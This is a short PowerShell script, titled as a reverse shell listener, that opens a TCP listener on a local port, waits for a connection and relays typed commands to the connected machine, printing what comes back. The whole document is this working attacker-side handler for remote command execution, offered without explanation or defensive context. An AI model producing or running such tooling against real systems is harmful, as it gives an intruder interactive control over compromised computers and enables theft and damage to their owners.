A reverse shell listener in powershell

mini-reverse-listener.ps1

$socket = new-object System.Net.Sockets.TcpListener('127.0.0.1', 413);
if($socket -eq $null){
    exit 1
}
$socket.start()
$client = $socket.AcceptTcpClient()
write-output "[*] Connection!"
$stream = $client.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 2048;
$encoding = new-object System.Text.AsciiEncoding;
do {
    $cmd = read-host
    $writer.WriteLine($cmd)
    $writer.Flush();
    if($cmd -eq "exit") {
        break
    }
    $read = $null;
    while($stream.DataAvailable -or $read -eq $null) {
        $read = $stream.Read($buffer, 0, 2048)
        $out = $encoding.GetString($buffer, 0, $read)
        Write-Output $out
    }
} While ($client.Connected -eq $true)
$socket.Stop()
$client.close();
$stream.Dispose()